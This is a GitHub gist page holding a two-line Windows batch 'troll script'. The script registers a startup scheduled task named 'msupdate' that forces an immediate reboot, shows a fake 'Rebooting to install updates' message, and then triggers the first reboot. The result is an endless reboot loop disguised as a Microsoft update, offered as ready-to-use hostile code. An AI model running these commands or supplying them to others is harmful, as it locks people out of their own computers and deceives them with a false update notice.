Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created March 25, 2015 16:23
Show Gist options
  • Save ahhh/ed2647fb03dcc6e05129 to your computer and use it in GitHub Desktop.
Save ahhh/ed2647fb03dcc6e05129 to your computer and use it in GitHub Desktop.
Troll script to reboot a machine and keep rebooting it every time it starts
schtasks /create /sc onstart /tn msupdate /tr "shutdown /r /f /c """Rebooting to install updates""" /t 2"
shutdown /r /f /c "Rebooting to install updates" /t 2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment